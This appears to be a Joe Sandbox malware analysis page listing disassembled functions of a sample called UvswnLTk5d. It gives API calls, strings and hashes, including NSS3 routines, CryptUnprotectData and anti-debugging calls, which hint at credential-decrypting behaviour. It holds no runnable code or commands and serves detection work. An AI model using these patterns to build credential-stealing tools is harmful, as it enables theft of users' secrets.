Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: eb81932e028886c8325f22b243ddfbcf5ae589d4473dcf523dcbeedcac2d3650
Instruction ID: 149348a2a8f81638ad4a474cfa0b11a01ce271660cb7dbe862ee0aa20f63d31e
Opcode Fuzzy Hash: eb81932e028886c8325f22b243ddfbcf5ae589d4473dcf523dcbeedcac2d3650
Instruction Fuzzy Hash: 70919FB5A44305CFDB18CFA5C885B6BB7B1BF4A308F24462DE4169BB50E731E886CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6CF7BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CF7BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CF7BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CF7BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CF7BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CF7BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CF7BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CF7BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CF7BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CF7BE1E

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 731d7fa1fbff708571039734a54beda4f4dbfdd5188a85d3898ce5b993818e87
Instruction ID: 33e8d327ab9a7d8027221d7b18f676be7a55daa7d0b62bb8f9d14fb731320df3
Opcode Fuzzy Hash: 731d7fa1fbff708571039734a54beda4f4dbfdd5188a85d3898ce5b993818e87
Instruction Fuzzy Hash: 9321D2B6E0028957FB204B56BD43FCB32749F9374DF08082AF916EE741E751941887B6

Uniqueness

Uniqueness Score: -1.00%

Function 6D028D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6D0714E4,6CFDCC70), ref: 6D028D47
PR_GetCurrentThread.NSS3 ref: 6D028D98

Part of subcall function 6CF00F00: PR_GetPageSize.NSS3(6CF00936,FFFFE8AE,?,6CE916B7,00000000,?,6CF00936,00000000,?,6CE9204A), ref: 6CF00F1B
Part of subcall function 6CF00F00: PR_NewLogModule.NSS3(clock,6CF00936,FFFFE8AE,?,6CE916B7,00000000,?,6CF00936,00000000,?,6CE9204A), ref: 6CF00F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6D028E7B
htons.WSOCK32(?), ref: 6D028EDB
PR_GetCurrentThread.NSS3 ref: 6D028F99
PR_GetCurrentThread.NSS3 ref: 6D02910A

Strings

%u.%u.%u.%u, xrefs: 6D028E74

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: b40dc371a14e89f0d7439aaaec512da8166ecfd24f03d3cdbe9ee85ef867c9cc
Instruction ID: 1ef40cc557874fafbbe8bd5d1a2e83c1be962a10f242df52fee072ff5843db5b
Opcode Fuzzy Hash: b40dc371a14e89f0d7439aaaec512da8166ecfd24f03d3cdbe9ee85ef867c9cc
Instruction Fuzzy Hash: B60298319462568FEB19CF1AC4A97BABBF2EF46300F09C259DC915B2D1C335E989C790

Uniqueness

Uniqueness Score: -1.00%

Function 6CFC9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CE9C52B), ref: 6CFC9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CFCA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CFCA114

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CFCA01F, 6CFCA0E4, 6CFCA0FE
%s at line %d of [%.10s], xrefs: 6CFCA02E, 6CFCA10D
database corruption, xrefs: 6CFCA029, 6CFCA108

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: afcd8a95be61cf0d13467725549ec8638d46264677143c4df1b22afcbd3a3e31
Instruction ID: 8b6686260e0b8e22c22960699c3598eb1326ea26208fb10a2ab60505a2e3b3d3
Opcode Fuzzy Hash: afcd8a95be61cf0d13467725549ec8638d46264677143c4df1b22afcbd3a3e31
Instruction Fuzzy Hash: AD229B717083529FC704CF29C49066BBBE1BF8A348F148A2DE9DA97651DB31E949CB43

Uniqueness

Uniqueness Score: -1.00%

Function 6CFE9D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CEA8637,?,?), ref: 6CFE9E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CEA8637), ref: 6CFE9ED6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CFE9EC0
%s at line %d of [%.10s], xrefs: 6CFE9ECF
database corruption, xrefs: 6CFE9ECA

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 717350bbdfe6029446e8839a7b8d47f81e7eff74beafd93dc923c27f5eb029f9
Instruction ID: 17bef75555ccd6123365f4f03ecef88adb754c777ab8003da355792704f96049
Opcode Fuzzy Hash: 717350bbdfe6029446e8839a7b8d47f81e7eff74beafd93dc923c27f5eb029f9
Instruction Fuzzy Hash: 14818131B01215AFDB04CFA9C980ADEB7F6AF4C304B158529E919AB751EB31EE45CB70

Uniqueness

Uniqueness Score: -1.00%

Function 6CF79EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CF79ED6

Part of subcall function 6CF714C0: TlsGetValue.KERNEL32 ref: 6CF714E0
Part of subcall function 6CF714C0: EnterCriticalSection.KERNEL32 ref: 6CF714F5
Part of subcall function 6CF714C0: PR_Unlock.NSS3 ref: 6CF7150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CF79EE4

Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF710F3
Part of subcall function 6CF710C0: EnterCriticalSection.KERNEL32(?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7110C
Part of subcall function 6CF710C0: PL_ArenaAllocate.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71141
Part of subcall function 6CF710C0: PR_Unlock.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71182
Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF79F38

Part of subcall function 6CF7D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CF79F0B), ref: 6CF7D03B
Part of subcall function 6CF7D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CF7D04E
Part of subcall function 6CF7D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CF7D07B
Part of subcall function 6CF7D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CF7D08E
Part of subcall function 6CF7D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CF7D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF79F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CF79F59

Part of subcall function 6CF79D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CF79C5B), ref: 6CF79D82
Part of subcall function 6CF79D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CF79C5B), ref: 6CF79DA9
Part of subcall function 6CF79D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CF79C5B), ref: 6CF79DCE
Part of subcall function 6CF79D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CF79C5B), ref: 6CF79E43

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 7589d53e83f9acc7386468208b56e25adc6d355af4de2f4b5045837f6c660cd4
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: B311E2A5F042015BE7209B65BC00BDB72A5AF9478CF144236E80A9B740FF61EA1883B2

Uniqueness

Uniqueness Score: -1.00%

Function 00417B4E Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00418E46
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00418E5B
UnhandledExceptionFilter.KERNEL32(0041C690), ref: 00418E66
GetCurrentProcess.KERNEL32(C0000409), ref: 00418E82
TerminateProcess.KERNEL32(00000000), ref: 00418E89

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1485600a89bc27f1a0a21c1cb01dd845070ad6051d0655c0ebfcb599f372d5e6
Instruction ID: 5828a94612e18b022276c58097a982c86e574ee0b254963d5fd3238681fe770b
Opcode Fuzzy Hash: 1485600a89bc27f1a0a21c1cb01dd845070ad6051d0655c0ebfcb599f372d5e6
Instruction Fuzzy Hash: 2D21C274A01304EFC721EF54F944B843BB4FB8C309F91907AE64987260E7B456868F9D

Uniqueness

Uniqueness Score: -1.00%

Function 00406C10 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660), ref: 00406C1D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406C24
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,?,?), ref: 00406C51
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,`v@,80000001,h0A), ref: 00406C74
LocalFree.KERNEL32(?,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406C7E

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 325183e0ff294f6bc8ca0bae0d01f1e1eb9720b9252a7c44d145ca839e0966ea
Instruction ID: a62b9dfe9577ca48fe2f29d604933a8f18b811f44e231435f7e1fa1bbfb2df61
Opcode Fuzzy Hash: 325183e0ff294f6bc8ca0bae0d01f1e1eb9720b9252a7c44d145ca839e0966ea
Instruction Fuzzy Hash: 01011275A40708BBEB20DF94CD45F9E7779EB44B05F104155F706FB2C0D670AA118BA9

Uniqueness

Uniqueness Score: -1.00%

Function 6D02CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D02D086
PR_Malloc.NSS3(00000001), ref: 6D02D0B9
PR_Free.NSS3(?), ref: 6D02D138

Strings

>, xrefs: 6D02CF5B

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 1a14e01edb250ecee3ddaf459afa6ee0ff97d97b3aa0db5116f6d7ffb5397415
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 3ED16A72B466470BFB15487C8CA13EE77939BC2370F984329D5618B7E5E619CC8383A5

Uniqueness

Uniqueness Score: -1.00%

Function 6CFADC60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(00000002,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,00000002,?), ref: 6CFADD05
PR_SetError.NSS3(FFFFD0AB,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6CFADDCD

Part of subcall function 6CFBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CFBC2BF

Part of subcall function 6CF87F90: PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CF87FB2
Part of subcall function 6CF87F90: PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CF87FD4
Part of subcall function 6CF87F90: PR_ExitMonitor.NSS3(?), ref: 6CF8801B

PR_SetError.NSS3(FFFFD0AB,00000000), ref: 6CFADDE4

Strings

traffic upd, xrefs: 6CFADCDC

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Monitor$Error$CountEnterEntryExitFreeK11_Value
String ID: traffic upd
API String ID: 1369763343-79366657
Opcode ID: a909230748b91bd8814016d0011bc1e809f9e3c96ac996b1bd5a623e5d43eb85
Instruction ID: 1e1e1a455c58040f6f28873ad9c454b3e8200b845a775039c1b6cd13de26758a
Opcode Fuzzy Hash: a909230748b91bd8814016d0011bc1e809f9e3c96ac996b1bd5a623e5d43eb85
Instruction Fuzzy Hash: 3C41D772A006049BE714DF69DC81BAFB7F5EF88308F55042DE50AA7750D731AD16CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CFCAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b2eff512a16edb030e9e41b0e38c45b220f22414e0c935f32690e2a0ee615c4
Instruction ID: e35fe774906b9c3ce5bfad81c82ba7d5391aa392e78a7a0182af9dd3b985caf7
Opcode Fuzzy Hash: 9b2eff512a16edb030e9e41b0e38c45b220f22414e0c935f32690e2a0ee615c4
Instruction Fuzzy Hash: 1CF1D371F012A68FEB04CF28D9503BE77F4AB4B308F158529D905EB754E770A992CB82

Uniqueness

Uniqueness Score: -1.00%

Function 004094A0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,?,00000000,00404BAE,00000000,00000000), ref: 004094CF
LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
CryptStringToBinaryA.CRYPT32(?,00000000,?,00000000,00404BAE,00000000,00000000), ref: 0040950A
LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: eb8266b658b0a36e64dba83ee5fc04eec02a97dd996390432438c79c58cdc735
Instruction ID: 8ba321113e6e4d0cf3898c04bf9160a1f44f8cb9f34d86efd4b3c4bff5612467
Opcode Fuzzy Hash: eb8266b658b0a36e64dba83ee5fc04eec02a97dd996390432438c79c58cdc735
Instruction Fuzzy Hash: AA119074240308AFEB14CF64CC95FAA77B6FB89711F208059FA159B3D0C7B5AA41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00414450 Relevance: 6.0, APIs: 4, Instructions: 34memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,0041D748,00000000,?,00000000,0041D2B1), ref: 0041445D
HeapAlloc.KERNEL32(00000000), ref: 00414464
GetLocalTime.KERNEL32(?), ref: 00414471
wsprintfA.USER32 ref: 004144A0

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: ecd3a08835dc28e24e172d3ec6c3ea9534f2ed94b9f2de78f98134f4a4fefc06
Instruction ID: 4df586b6dc15b0ab72eaa90ec8b013cc5aca6a98c8dd6c86bd1e3c66c74c2495
Opcode Fuzzy Hash: ecd3a08835dc28e24e172d3ec6c3ea9534f2ed94b9f2de78f98134f4a4fefc06
Instruction Fuzzy Hash: 1FF06DB6804618ABCB20DBD9DD48DBFB3FDBF4CB02F000549FA46A2180E6384A41D7B1

Uniqueness

Uniqueness Score: -1.00%

Function 6CEC3EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6CEC463F
sqlite_temp_master, xrefs: 6CEC460F
sqlite_, xrefs: 6CEC3FAA, 6CEC4185

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 31f4d5b36dad1e7e5bf6f652ff61193976a24bc5cc581cb470f16dffbd6fe4af
Instruction ID: ff657b001fad19e575b8a320ddbeddf9c4d2bdf81b8cf654b7d800771058ddf4
Opcode Fuzzy Hash: 31f4d5b36dad1e7e5bf6f652ff61193976a24bc5cc581cb470f16dffbd6fe4af
Instruction Fuzzy Hash: 89223830B491958FD7048B298260AB67FF2AF4731CB3845BEC9F15FB46C625E842C792

Uniqueness

Uniqueness Score: -1.00%

